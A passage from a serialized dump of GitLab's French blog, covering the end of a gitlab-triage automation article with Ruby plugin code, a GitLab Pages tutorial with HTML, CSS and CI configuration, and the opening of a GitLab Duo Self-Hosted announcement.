|\n      /due #{get_current_quarter_last_date}\n```\n\nCe deuxième exemple permet de trier tous les tickets portant le label `developer-advocacy`, qui n'incluent aucun label figurant dans la liste des labels interdits, et dont la date d'échéance est dépassée. Cette stratégie de classement met automatiquement à jour la date d'échéance en ajoutant un commentaire au ticket avec une commande slash et d'une nouvelle date générée dynamiquement à l'aide de Ruby.\n\nLes scripts Ruby utilisés dans ces stratégies sont définis dans un fichier séparé, comme illustré ci-dessous. Cette approche offre une grande souplesse dans la création de filtres et d’actions personnalisés. Vous pouvez notamment voir des fonctions dédiées aux différentes commandes Ruby que nous avons utilisées dans nos stratégies de classement. \n\n```\nrequire 'json'\nrequire 'date'\nrequire \"faraday\"\nrequire 'dotenv/load'\n\nmodule DATriagePlugin\n  def last_comment_at\n    conn = Faraday.new(\n      url: notes_url+\"?sort=desc&order_by=created_at&pagination=keyset&per_page=1\",\n      headers: {'PRIVATE-TOKEN' => ENV.fetch(\"PRIV_KEY\"), 'Content-Type' => 'application/json' }\n    )\n\n    response = conn.get()\n    if response.status == 200\n      jsonData = JSON.parse(response.body)\n      if jsonData.length > 0\n        Date.parse(jsonData[0]['created_at'])\n      else\n        Date.parse(resource[:created_at])\n      end\n    else\n      Date.parse(resource[:created_at])\n    end\n  end\n\n  def notes_url\n    resource[:_links][:notes]\n  end\n\n  def get_project_id\n    resource[:project_id]\n  end\n\n  def get_current_quarter_last_date()\n    yr = Time.now.year\n    case Time.now.month\n    when 2..4\n      lm = 4\n    when 5..7\n      lm = 7\n    when 8..10\n      lm = 10\n    when 11..12\n      lm = 1\n      yr = yr + 1\n    else\n      lm = 1    \n    end\n\n    return Date.new(yr, lm, -1) \n  end\n\n  def one_week_to_due_date\n    if(resource[:due_date] == nil)\n      false\n    else\n      days_to_due = (Date.parse(resource[:due_date]) - Date.today).to_i\n      if(days_to_due > 0 && days_to_due \u003C 7)\n        true\n      else\n        false\n      end\n    end\n  end\n\n  def due_date_past\n    if(resource[:due_date] == nil)\n      false\n    else\n      Date.today > Date.parse(resource[:due_date])\n    end\n  end\n\n  def missing_due_date\n    if(resource[:due_date] == nil)\n      true\n    else\n      false\n    end\n  end\n\nend\n\nGitlab::Triage::Resource::Context.include DATriagePlugin\n\n```\nLe bot de classement par ordre de priorité est exécuté à l'aide de la commande suivante :\n\n``` \n`gitlab-triage -r ./triage_bot/issue_triage_plugin.rb --debug --token $PRIV_KEY --source-id gitlab-com --source groups`  \n```\n\n- `-r` : transmet un fichier de prérequis pour le classement par ordre de priorité en cours. Dans le cas présent, il s’agit d’un fichier contenant des fonctions Ruby personnalisées.  \n- `--debug` : affiche les informations de débogage en sortie.  \n- `--token` : permet de transmettre un token d'API GitLab valide.  \n- `--source` : spécifie si les tickets à analyser se trouvent dans un groupe ou un projet.  \n- `--source-id` : reçoit l'ID du type de source sélectionné. Dans le cas présent, celui du groupe ciblé.\n\nDans le projet GitLab [triage-ops](https://gitlab.com/gitlab-org/quality/triage-ops), autre exemple concret plus complexe, vous apprendrez à créer votre propre bot de classement par ordre de priorité à grande échelle.\n\n## Bonnes pratiques\n\n* **Commencez par les bases :** utilisez des stratégies simples et augmentez progressivement leur complexité. \n* **Testez minutieusement :** testez vos stratégies dans un environnement de préproduction avant de les déployer en production.  \n* **Surveillez régulièrement :** surveillez l'activité de votre bot pour vous assurer qu'il se comporte comme prévu. \n* **Nommez clairement vos stratégies :** attribuez à vos stratégies des noms clairs et descriptifs pour faciliter leur maintenance. \n* **Définissez attentivement la portée de vos filtres :** évitez de filtrer les tickets dans des groupes incluant des milliers de tickets, car cela pourrait ralentir le processus de classement par ordre de priorité, voire le faire échouer en raison des limites de débit de l'API GitLab.  \n* **Priorisez l'utilisation de labels pour le classement :** pour éviter de spammer les autres utilisateurs avec des commentaires et des tickets, les labels sont un moyen efficace d'effectuer un classement par ordre de priorité, clair, propre, non intrusif.\n\n## Prenez le contrôle de votre workflow\n\nAvec la gemme `gitlab-triage`, vous pouvez automatiser votre workflow GitLab et améliorer la productivité de vos équipes. Commencez par créer des bots de classement simples, puis explorez progressivement les fonctionnalités plus avancées. Vous serez surpris du temps et de l’énergie que vous pouvez économiser !\n\nDécouvrez les autres articles de cette série « Premiers pas avec GitLab » :\n\n- [Comment gérer les utilisateurs](https://about.gitlab.com/fr-fr/blog/getting-started-with-gitlab-how-to-manage-users/)\n\n- [Comment importer vos projets dans GitLab](https://about.gitlab.com/fr-fr/blog/getting-started-with-gitlab-how-to-import-your-projects-to-gitlab/)  \n- [Comment maîtriser la gestion de projet](https://about.gitlab.com/fr-fr/blog/getting-started-with-gitlab-mastering-project-management/)\n",[1067,1069,676,1482,110],"2025-04-15",{"slug":1586,"featured":6,"template":683},"automating-agile-workflows-with-the-gitlab-triage-gem","content:fr-fr:blog:automating-agile-workflows-with-the-gitlab-triage-gem.yml","Automating Agile Workflows With The Gitlab Triage Gem","fr-fr/blog/automating-agile-workflows-with-the-gitlab-triage-gem.yml","fr-fr/blog/automating-agile-workflows-with-the-gitlab-triage-gem",{"_path":1592,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":1593,"content":1599,"config":1605,"_id":1607,"_type":16,"title":1608,"_source":17,"_file":1609,"_stem":1610,"_extension":20},"/fr-fr/blog/build-a-new-website-in-a-few-easy-steps-with-gitlab-pages",{"title":1594,"description":1595,"ogTitle":1594,"ogDescription":1595,"noIndex":6,"ogImage":1596,"ogUrl":1597,"ogSiteName":841,"ogType":842,"canonicalUrls":1597,"schema":1598},"GitLab Pages : comment créer un site web en quelques étapes simples ","Découvrez dans ce tutoriel comment créer et héberger votre site web à l'aide de GitLab Pages à partir d'un template prêt à l'emploi et personnalisable. ","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097716/Blog/Hero%20Images/Blog/Hero%20Images/blog-image-template-1800x945%20%281%29_7c3TDgNgct9xQbmTJSw0de_1750097716096.png","https://about.gitlab.com/blog/build-a-new-website-in-a-few-easy-steps-with-gitlab-pages","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab Pages : comment créer un site web en quelques étapes simples \",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Alex Fracazo\"}],\n        \"datePublished\": \"2025-03-03\",\n      }\n                  ",{"title":1594,"description":1595,"authors":1600,"heroImage":1596,"date":1602,"body":1603,"category":676,"tags":1604,"updatedDate":1581},[1601],"Alex Fracazo","2025-03-03","Un site web personnel est bien plus qu'un simple outil pour les créateurs de contenus numériques et les professionnels de la tech. C'est une représentation de votre marque. Pourtant, créer entièrement un site web peut s'avérer chronophage et onéreux.\n\nAvec [GitLab Pages](https://docs.gitlab.com/user/project/pages/), vous pouvez héberger votre site web directement depuis un dépôt GitLab. Il inclut des fonctionnalités intégrées, notamment des certificats SSL ainsi qu'un domaine fourni par GitLab. GitLab Pages est accessible avec la version gratuite de GitLab, ce qui en fait une solution idéale pour héberger votre site en ligne.\n\nDécouvrez dans cet article comment créer un site web à l'aide de GitLab Pages à partir d’un template facilement personnalisable. \n\n## Prérequis\n\nVous avez besoin des prérequis suivants avant de commencer :\n\n* Un compte GitLab (la [version gratuite](https://about.gitlab.com/fr-fr/pricing/) est suffisante)  \n* Une connaissance de base en HTML/CSS  \n* Le contenu et les images que vous souhaitez ajouter à votre site web (facultatif)\n\nUne fois que vous avez configuré votre compte GitLab et que votre contenu est prêt, vous pouvez passer aux étapes suivantes.\n\n## Étape 1 : créer un nouveau projet\n\n1. Connectez-vous à votre compte GitLab et créez un projet.\n\n![Tutoriel GitLab Pages - écran d'accueil](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097724/Blog/Content%20Images/Blog/Content%20Images/Capture-2025-02-27-183716_aHR0cHM6_1750097724662.png)\n\n2. Cliquez sur **Créer un projet vide**.\n\n![Tutoriel GitLab Pages - écran de création d'un projet](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097725/Blog/Content%20Images/Blog/Content%20Images/Capture-2025-02-27-183814_aHR0cHM6_1750097724663.png)\n\n3. Renseignez les détails de votre projet :\n    * Nommez votre projet `votrenomutilisateur.gitlab.io`. Remplacez `votrenomutilisateur` par votre nom d'utilisateur GitLab. **Astuce :** le nom du projet détermine l'URL de votre site web. Si vous nommez votre projet `votrenomutilisateur.gitlab.io`, votre site web sera disponible à l'adresse `https://votrenomutilisateur.gitlab.io` sans chemin d'accès supplémentaire. Cependant, si vous utilisez un autre nom de projet, votre site sera disponible à l'adresse `https://votrenomutilisateur.gitlab.io/nom-du-projet`.\n    * Rendez le projet public.\n4. Cliquez sur **Créer le projet**.\n\n![Tutoriel GitLab Pages - écran Créer un projet vide](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097725/Blog/Content%20Images/Blog/Content%20Images/image5_aHR0cHM6_1750097724666.png)\n\n![Tutoriel GitLab Pages - page de démarrage personnalisée](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097725/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750097724668.png)\n\n## Étape 2 : ajouter les fichiers du template\n\nCommencez par créer deux nouveaux fichiers dans votre dépôt :\n\n![Tutoriel GitLab Pages - ajout de nouveaux fichiers à la page personnelle](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097725/Blog/Content%20Images/Blog/Content%20Images/image13_aHR0cHM6_1750097724669.png)\n\n1. Tout d'abord, créez un fichier `index.html` :\n    * Dans votre projet, cliquez sur le bouton **+** et sélectionnez **Nouveau fichier**.\n    * Nommez le fichier `index.html`.\n![Tutoriel GitLab Pages - page nouveau fichier](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097725/Blog/Content%20Images/Blog/Content%20Images/image14_aHR0cHM6_1750097724671.png)\n    * Ajoutez votre contenu HTML.\n        * Utilisez l'exemple de code HTML fourni ci-dessous. (Conseil : vous pouvez demander à GitLab Duo Chat de générer du code HTML personnalisé si vous avez besoin de fonctionnalités plus avancées.)\n\n```    \n\u003C!DOCTYPE html>\n\u003Chtml>\n\u003Chead>\n    \u003Cmeta charset=\"utf-8\"/>\n    \u003Ctitle>[Your Name] - [Your Title]\u003C/title>\n    \u003Cmeta name=\"description\" content=\"[Your Name] is a [Your Title].\"/>\n    \u003Cmeta name=\"author\" content=\"[Your Name]\"/>\n    \u003Cmeta property=\"og:title\" content=\"[Your Name]\" />\n    \u003Cmeta property=\"og:description\" content=\"[Your Title]\" />\n    \u003Cmeta property=\"og:image\" content=\"og.png\" />\n    \u003Cmeta name=\"viewport\" content=\"width=device-width,initial-scale=1\"/>\n    \u003Clink href=\"https://unpkg.com/basscss@8.0.2/css/basscss.min.css\" rel=\"stylesheet\">\n    \u003Clink href=\"style.css\" rel=\"stylesheet\">\n    \u003Clink rel=\"shortcut icon\" type=\"image/png\" href=\"favicon.png\"/>\n\u003C/head>\n\u003Cbody>\n\u003Cdiv class=\"content\" id=\"content\">\n  \u003Cdiv class=\"p2 sm-p4 mt2 sm-mt4 mb2 sm-mb4\">  \n  \u003Cdiv class=\"fade mt3\">\n    \u003Ca target=\"_new\" href=\"[Your Linkedin URL]\">\n      \u003Cimg class=\"photo\" src=\"profile.png\" width=\"64\" height=\"64\">\n    \u003C/a>\n  \u003C/div>\n  \u003Ch2 class=\"mb0 mt4 fade\">\n    Hello, I'm [Your Name] \n    \u003Cspan class=\"smallcaps\">(\u003C/span>\n    \u003Ca target=\"_new\" href=\"[Your Linkedin URL]\">@[Your Handle]\u003C/a>\n    \u003Cspan class=\"smallcaps\">)\u003C/span>\n  \u003C/h2>\n  \u003Ch2 class=\"mt0 mb4 fade gray\">\n    I'm a [Your Title]\n  \u003C/h2>\n  \u003Cp class=\"mb4 fade\">\n    I'm a [Your Role] at [Your Company], [Brief company description].\n  \u003C/p>\n  \u003Cdiv class=\"fade\">\n    \u003Cp class=\"fade mb4\">\n      Your personal statement about what you do and what you're interested in. Add your contact preferences here.\n    \u003C/p>\n  \u003C/div>\n  \u003Cp class=\"fade mb4\">\n    \u003Cspan class=\"gray\">—\u003C/span> \n    [Your Name] \n    \u003Cspan class=\"smallcaps>(\u003C/span>\n    \u003Ca target=\"_new\" href=\"[Your Linkedin URL]\">@[Your Handle]\u003C/a>\n    \u003Cspan class=\"smallcaps\">)\u003C/span>\n  \u003C/p>\n  \u003C/div>\n\u003C/div>\n\u003C/body>\n\u003C/html> \n```\n\n* Ajoutez un message de validation (par exemple, « Ajout du fichier index.html »).\n  * Cliquez sur **Valider les modifications**.\n\n2. Créez le fichier `style.css` (et suivez les mêmes étapes que ci-dessus).\n\n```\nbody {\n  margin: 0;\n  padding: 0;\n  background: #000;\n  color: #f4f4f4;\n  font-family: \"Graphik Web\", system-ui, -apple-system, BlinkMacSystemFont, \"Helvetica Neue\", \"Helvetica\", \"Segoe UI\", Roboto, Ubuntu, sans-serif;\n  font-weight: 400;\n  font-smooth: antialiased;\n  -webkit-font-smoothing: antialiased;\n  -moz-osx-font-smoothing: grayscale;\n}\n\na {\n  color: #ff310a;\n  text-decoration: none;\n}\n\na:hover {\n  color: #CFEF54\n}\n\n.content {\n  max-width: 40rem;\n  margin: 0 auto;\n}\n\nimg.photo {\n  border-radius: 50%;\n}\n\np {\n  font-size: 1.5rem;\n  line-height: 1.4;\n  margin: 0;\n  letter-spacing: -0.05rem;\n}\n\nh2 {\n  font-weight: 400;\n  line-height: 1.3;\n  letter-spacing: -0.05rem;\n}\n\n.smallcaps {\n  font-variant: small-caps;\n  color:#333;\n}\n\n.gray{\n  color: #999;\n}\n\n.preloader {\n  display: flex;\n  justify-content: center;\n  align-items: center;\n  height: 100vh;\n  height: -moz-available;\n  height: -webkit-fill-available;\n  height: fill-available;\n  width: 100%;\n  background: #000;\n  position: fixed;\n  top: 0;\n  left: 0;\n  z-index: 9999;\n  transition: opacity 0.3s linear;\n  transform: translate3d(0, 0, 0);\n}\n\nbody.loaded .preloader {\n  opacity: 0;\n}\n\n.fade {\n  animation: fadeIn 1s ease-in-out both;\n}\n\n.fade:nth-child(2) {\n\tanimation-delay: 1s;\n}\n\n.fade:nth-child(3) {\n\tanimation-delay: 2s;\n}\n\n.fade:nth-child(4) {\n\tanimation-delay: 3s;\n}\n\n.fade:nth-child(5) {\n\tanimation-delay: 4s;\n}\n\n.fade:nth-child(6) {\n\tanimation-delay: 5s;\n}\n\n.fade:nth-child(7) {\n\tanimation-delay: 6s;\n}\n\n.fade:nth-child(8) {\n\tanimation-delay: 7s;\n}\n\n.fade:nth-child(9) {\n\tanimation-delay: 8s;\n}\n\n.fade:nth-child(10) {\n\tanimation-delay: 9s;\n}\n\n.fade:nth-child(11) {\n\tanimation-delay: 10s;\n}\n\n.fade:nth-child(12) {\n\tanimation-delay: 11s;\n}\n\n.fade:nth-child(13) {\n\tanimation-delay: 12s;\n}\n\n@keyframes fadeIn {\n\tfrom {\n\t\topacity: 0;\n\t\ttransform: translate3d(0, 0%, 0);\n\t}\n\tto {\n\t\topacity: 1;\n\t\ttransform: translate3d(0, 0, 0);\n\t}\n} \n\n```\n\n## Étape 3 : configurer le fichier GitLab CI\n\nVous disposez de deux méthodes pour créer le fichier de configuration GitLab CI qui indique à GitLab comment créer et déployer votre site web :\n\n![Tutoriel GitLab Pages - écran Optimiser votre workflow avec les pipelines CI/CD](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097725/Blog/Content%20Images/Blog/Content%20Images/image3_aHR0cHM6_1750097724672.png)\n\n**Option 1 : utiliser l'éditeur de pipeline (recommandé)**\n\n1. Accédez à **Compilation > Pipelines** dans votre projet.\n\n![Tutoriel GitLab Pages - éditeur de pipeline/branche principale](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097725/Blog/Content%20Images/Blog/Content%20Images/image12_aHR0cHM6_1750097724673.png)\n\n2. Le fichier `.gitlab-ci.yml` est automatiquement créé. \n3. Copiez et collez la configuration suivante : \n\n```\npages:\n  stage: deploy\n  script:\n    - mkdir .public\n    - cp -r * .public\n    - mv .public public\n  artifacts:\n    paths:\n      - public\n  only:\n    - main\n```\n\n![Tutoriel GitLab Pages - Nouveau fichier dans la fenêtre](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097725/Blog/Content%20Images/Blog/Content%20Images/image4_aHR0cHM6_1750097724674.png)\n\n**Option 2 : effectuer une création manuelle**\n\nSi vous préférez créer le fichier manuellement : \n1. Créez un fichier nommé `.gitlab-ci.yml`. \n2. Ajoutez la configuration suivante :\n\n```\npages:\n  stage: deploy\n  script:\n    - mkdir .public\n    - cp -r * .public\n    - mv .public public\n  artifacts:\n    paths:\n      - public\n  only:\n    - main\n```\n\nLe fichier de configuration GitLab CI est indispensable au bon fonctionnement de votre site web. Il indique à GitLab comment créer et déployer votre site.\n\nAnalysons le rôle de chaque partie :\n\n**La partie script**\n\n```\nscript:\n  - mkdir .public\n  - cp -r * .public\n  - mv .public public\n```\n\nCe code crée un dossier appelé `public` et y copie tous les fichiers de votre site web. GitLab Pages utilise ce dossier pour gérer votre site web par défaut, mais vous pouvez [personnaliser le dossier de publication](https://docs.gitlab.com/user/project/pages/introduction/#customize-the-default-folder) si vous le souhaitez.\n\n**La partie only**\n\n```\nonly:\n  - main\n\n```\n\nCe code indique à GitLab de mettre à jour votre site web uniquement lorsque des modifications sont apportées à la branche principale. Cela permet d'éviter les mises à jour accidentelles dues à des modifications expérimentales.\n\n## Étape 4 : finaliser votre site web\n1. Validez toutes vos modifications.\n2. Accédez au menu **Compilation > Pipelines** pour visualiser votre déploiement.\n3. Attendez que le pipeline se termine correctement (une coche verte s'affiche).\n\n![Tutoriel GitLab Pages - pipeline en cours d'exécution pour la création de la page](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097725/Blog/Content%20Images/Blog/Content%20Images/image6_aHR0cHM6_1750097724676.png)\n\n![Tutoriel GitLab Pages - pipeline réussi pour la création de la page](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097725/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750097724677.png)\n\n## Étape 5 : accéder à votre site web\n\nUne fois le pipeline terminé avec succès, votre site web est disponible à l'adresse suivante : **https://[votrenomutilisateur].gitlab.io/** .\n\nLa section **Déploiement > Pages** de votre projet affiche une vue d'ensemble de votre site web déployé et des paramètres supplémentaires. Vous y trouverez des informations utiles, notamment : \n\n* Les URL d'accès à votre site web   \n* Les paramètres du domaine  \n  * Par défaut, GitLab active un **domaine unique**. Assurez-vous de le désactiver si vous souhaitez utiliser le domaine fourni par GitLab. Pour en savoir plus, consultez la [documentation sur le domaine unique](https://docs.gitlab.com/ee/user/project/pages#unique-domains).  \n* Statut des certificats HTTPS   \n* Déploiements récents   \n* Options de configuration supplémentaires\n* Domaines personnalisés\n\nCette section est particulièrement utile lors de la configuration de domaines personnalisés ou de la résolution de problèmes de déploiement.\n\n**Personnaliser votre site**\n\n![Tutoriel GitLab Pages - personnaliser le site](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097725/Blog/Content%20Images/Blog/Content%20Images/image8_aHR0cHM6_1750097724678.png)\n\n1. Remplacez tous les espaces réservés « Your ... » dans le fichier `index.html` par vos propres informations.\n\n![Tutoriel GitLab Pages - importer un fichier pour personnaliser la page](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097725/Blog/Content%20Images/Blog/Content%20Images/image11_aHR0cHM6_1750097724679.png)\n\n2. Ajoutez vos images :\n    - profile.png : votre photo de profil (64 x 64px)\n    - favicon.png : favicon de votre site (32 x 32px)\n    - Og.png : image OpenGraph pour l'aperçu des médias sociaux (1200 x 630px)\n\n**Consulter le site en ligne**\n\nSi vous avez l'habitude d'utiliser GitLab, n'hésitez pas à [dupliquer mon dépôt](https://gitlab.com/fracazo/fracazo.gitlab.io) pour commencer rapidement à créer votre propre site web. \n\nVoici le résultat final :\n[https://fracazo.gitlab.io/](https://fracazo.gitlab.io/)\n\n**Problèmes courants et solutions**\n- Par défaut, GitLab active un « Domaine unique » pour les projets GitLab Pages. Pour utiliser le domaine plus simple fourni par GitLab (comme `nomutilisateur.gitlab.io`), accédez au menu **Déploiement > Pages** et désactivez l'option « Utiliser un domaine unique ». Bien que les domaines uniques présentent certains avantages techniques, comme une meilleure gestion des chemins d'accès aux fichiers et autres actifs, vous pouvez choisir une structure d'URL plus courte et plus facile à retenir pour votre site web personnel.\n- Si votre pipeline échoue, vérifiez que vous utilisez `main` à la place de `master` dans votre fichier `.gitlab-ci.yml`.\n- Assurez-vous que votre groupe et votre projet sont publics pour que GitLab Pages fonctionne.\n- Si un job de votre pipeline échoue, vous pouvez consulter le job log pour récupérer les messages d'erreur détaillés afin de faciliter le dépannage.\n\nAvec GitLab Pages et ce template, vous pouvez créer un site web professionnel ou personnel opérationnel en quelques minutes. Le template est épuré, il est bien organisé, il s'adapte automatiquement aux différents types d'écran et vous pouvez le personnaliser selon vos besoins et préférences. À mesure que votre activité évolue, vous pouvez facilement mettre à jour votre site web, directement via GitLab. \n\nVous pouvez automatiser le processus de déploiement en tirant parti des capacités CI/CD de GitLab et en vous concentrant sur la création d'un contenu de qualité.\n\nLa bonne nouvelle, c'est que tous ces avantages sont disponibles dans la version gratuite de GitLab, ce qui en fait une option idéale pour héberger gratuitement vos projets personnels, des sites de documentation ou même des sites web de PME. Pour des fonctionnalités et des configurations plus avancées, consultez notre [documentation sur GitLab Pages](https://docs.gitlab.com/ee/user/project/pages/).\n\n## Prochaines nouveautés de GitLab Pages\nNous nous efforçons constamment d'améliorer GitLab Pages pour faciliter le travail des créateurs et développeurs. Voici quelques améliorations intéressantes à venir : \n\n### Gestion de domaine simplifiée\nNous prévoyons d'implémenter des mises à jour pour GitLab Pages qui rendront la gestion de vos domaines sera encore plus facile et amusante ! Nous vous proposerons un tableau de bord simplifié qui rassemble tous les paramètres de votre domaine dans un seul espace, où tout est facilement accessible. \n\nVous recevrez des mises à jour en temps réel du statut de votre DNS et de votre certificat SSL, afin de sécuriser vos domaines et d'en assurer le bon fonctionnement. \n\n### Configuration d'un domaine personnalisé\nLa configuration de domaines personnalisés sera un jeu d'enfant grâce à notre processus intuitif, conçu pour vous guider à chaque étape. De plus, vous pourrez configurer votre domaine personnalisé afin de rediriger automatiquement les visiteurs de l'ancienne adresse de votre site web vers la nouvelle. Ainsi, l'ensemble de votre trafic sera centralisé sur un site web principal unique. Pour en savoir plus, consultez notre [documentation sur les domaines personnalisés](https://docs.gitlab.com/ee/user/project/pages/custom_domains_ssl_tls_certification/index.html#set-up-a-custom-domain).\n\n> Essayez GitLab Pages dès aujourd'hui avec [la version gratuite de GitLab](https://about.gitlab.com/fr-fr/pricing/) ! \n\n## En savoir plus\n- [GitLab Pages : versions temporaires d'applications et déploiement simultané de plusieurs sites web](https://about.gitlab.com/blog/gitlab-pages-features-review-apps-and-multiple-website-deployment/)\n- [GitLab Pages : documentation sur le déploiement simultané de plusieurs sites web](https://docs.gitlab.com/user/project/pages/#parallel-deployments)\n- [Exemples GitLab Pages](https://gitlab.com/pages)",[1069,1067],{"slug":1606,"featured":6,"template":683},"build-a-new-website-in-a-few-easy-steps-with-gitlab-pages","content:fr-fr:blog:build-a-new-website-in-a-few-easy-steps-with-gitlab-pages.yml","Build A New Website In A Few Easy Steps With Gitlab Pages","fr-fr/blog/build-a-new-website-in-a-few-easy-steps-with-gitlab-pages.yml","fr-fr/blog/build-a-new-website-in-a-few-easy-steps-with-gitlab-pages",{"_path":1612,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":1613,"content":1619,"config":1627,"_id":1629,"_type":16,"title":1630,"_source":17,"_file":1631,"_stem":1632,"_extension":20},"/fr-fr/blog/gitlab-duo-self-hosted-enterprise-ai-built-for-data-privacy",{"title":1614,"description":1615,"ogTitle":1614,"ogDescription":1615,"noIndex":6,"ogImage":1616,"ogUrl":1617,"ogSiteName":841,"ogType":842,"canonicalUrls":1617,"schema":1618},"GitLab Duo Self-Hosted : une IA respectueuse de la confidentialité des données","Tirez parti de la puissance de l'IA générative tout en respectant les exigences de résidence et de confidentialité des données.\n","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097840/Blog/Hero%20Images/Blog/Hero%20Images/Self-Hosted%201800x945_1dL1II2ITh2PteObA9DBLD_1750097839679.png","https://about.gitlab.com/blog/gitlab-duo-self-hosted-enterprise-ai-built-for-data-privacy","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab Duo Self-Hosted : une IA respectueuse de la confidentialité des données\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Susie Bitters\"},{\"@type\":\"Person\",\"name\":\"Aathira Nair\"}],\n        \"datePublished\": \"2025-02-27\",\n      }\n                  ",{"title":1614,"description":1615,"authors":1620,"heroImage":1616,"date":1623,"body":1624,"category":697,"tags":1625,"updatedDate":1626},[1621,1622],"Susie Bitters","Aathira Nair","2025-02-27","Nous sommes ravis d'annoncer la disponibilité générale de GitLab Duo Self-Hosted pour les fonctionnalités de suggestions de code et de chat. Proposé en option aux clients GitLab Self-Managed disposant d'un abonnement GitLab Duo Enterprise, GitLab Duo Self-Hosted prend en charge les déploiements sur plusieurs plateformes, y compris les infrastructures sur site, ou dans les clouds privés et les environnements cloud sécurisés via AWS Bedrock et Azure OpenAI. GitLab Duo Self-Hosted permet aux équipes de développer des logiciels innovants avec l'IA tout en gardant un contrôle total sur les données sensibles et la propriété intellectuelle. \n\nLes préoccupations en matière de sécurité ont été un obstacle majeur à l'adoption de l'IA dans les secteurs réglementés. Notre [rapport sur la maturité de l'IA dans l'approche DevSecOps](https://about.gitlab.com/fr-fr/developer-survey/2024/ai/) révèle en effet que plus de la moitié des professionnels du DevSecOps que nous avons interrogés estiment que l'utilisation de l'IA dans le cycle du développement logiciel présente des risques. Avec [GitLab Duo](https://about.gitlab.com/fr-fr/gitlab-duo/), les entreprises sont en mesure de livrer des logiciels plus sécurisés plus rapidement en intégrant l'IA tout au long du cycle du développement logiciel.\n\nAvec GitLab Duo Self-Hosted, les chefs d'entreprise ayant des exigences strictes en matière de confidentialité des données peuvent bénéficier des fonctionnalités d'IA de GitLab Duo avec une flexibilité totale dans le choix du déploiement et des grands modèles de langage (LLM). De ce fait, parmi les pionniers à adopter GitLab Duo Self-Hosted se trouvent des organismes du secteur public ainsi que des entreprises évoluant dans des secteurs réglementés, comme les services financiers, l'industrie automobile et la santé. Ils tirent ainsi parti de l'avantage concurrentiel offert par l'IA en intégrant des outils de développement alimentés par l'IA dans leurs propres environnements et veillent également à ce que leurs équipes de sécurité conservent un contrôle total sur les données et les processus.\n\nLe témoignage d'une agence gouvernementale américaine illustre parfaitement ce propos : « Après avoir adopté GitLab comme notre plateforme DevSecOps à l'échelle de l'agence, nous avons intégré GitLab Duo Self-Hosted afin d'enrichir les capacités de notre usine logicielle. La possibilité d'exécuter GitLab Duo dans des environnements air-gapped, tout en maintenant un contrôle granulaire sur nos données, a été un critère décisif. Nous avons ainsi capitalisé sur les fonctionnalités d'IA sécurisées pour rationaliser notre workflow et renforcer la sécurité de notre infrastructure. Nous pouvons ainsi tirer parti de l'IA et accroître notre productivité tout en respectant les exigences strictes de conformité. » \n\n![Modèles de GitLab Duo Self-Hosted](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097848/Blog/Content%20Images/Blog/Content%20Images/image4_aHR0cHM6_1750097848329.png)\n\n## Des déploiements sécurisés alimentés par l'IA\n\nGitLab Duo Self-Hosted inclut les fonctionnalités de GitLab Duo en s'appuyant sur une sélection judicieuse des meilleurs LLM d'IA, y compris ceux d'Anthropic, de Mistral et d'OpenAI. Voici les LLM pris en charge par GitLab à ce jour :\n\n* Sur site : modèles Mistral avec la plateforme vLLM  \n* AWS : Mistral et Claude Anthropic 3.5 Sonnet via AWS Bedrock  \n* Microsoft Azure : modèles OpenAI GPT via Azure AI\n\nNous évaluons actuellement d'autres modèles pour élargir cette prise en charge dans un avenir proche. [En savoir plus sur les LLM pris en charge](https://docs.gitlab.com/ee/administration/self_hosted_models/supported_models_and_hardware_requirements.html#approved-llms)\n\nGitLab Duo Self-Hosted offre plusieurs options de déploiement, notamment le déploiement sur site optimisé par le framework vLLM open source, ainsi que des déploiements de cloud privé via des services tels qu'AWS Bedrock et Microsoft Azure AI. Cette flexibilité aide les entreprises à concevoir des solutions d'IA qui correspondent à leurs exigences uniques en matière de sécurité, de conformité et de performance.\n\n## Une mise en œuvre des technologies IA/ML simplifiée\n\nLa couche d'abstraction IA de GitLab Duo permet de standardiser et de simplifier l'intégration du LLM choisi à une fonctionnalité spécifique. Cette structure atténue la complexité et la charge de travail liées à la mise en œuvre des technologies d’intelligence artificielle (IA) et d’apprentissage automatique (ML), facilitant ainsi leur adoption par les entreprises. Elle permet également d'améliorer l'expérience développeur, sans avoir à gérer la complexité liée à l'intégration et à la maintenance de plusieurs outils.\n\n![Fonctionnalités alimentées par l'IA de GitLab Duo Self-Hosted](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097848/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750097848330.png)\n\n## Un contrôle renforcé des données sensibles\n\nEn isolant votre instance GitLab, votre passerelle d'IA et vos LLM dans votre propre environnement ou dans le pays de votre choix, GitLab Duo Self-Hosted vous permet de conserver les données sensibles et la propriété intellectuelle dans l'espace sécurisé que vous aurez défini. Le contrôle granulaire sur la localisation des données permet de respecter les réglementations strictes en matière de résidence des données, tout en adoptant les fonctionnalités d'IA dans des environnements sécurisés. Que vous utilisiez GitLab Duo Self-Hosted dans un environnement entièrement air-gapped avec vLLM ou que vous tiriez parti d'un cloud privé pris en charge, vous pouvez contrôler tous les aspects du déploiement, y compris l'emplacement géographique des composants. En éliminant la dépendance aux API externes et en offrant une visibilité complète sur tous les journaux de requêtes API et de réponses, GitLab Duo Self-Hosted aide même les 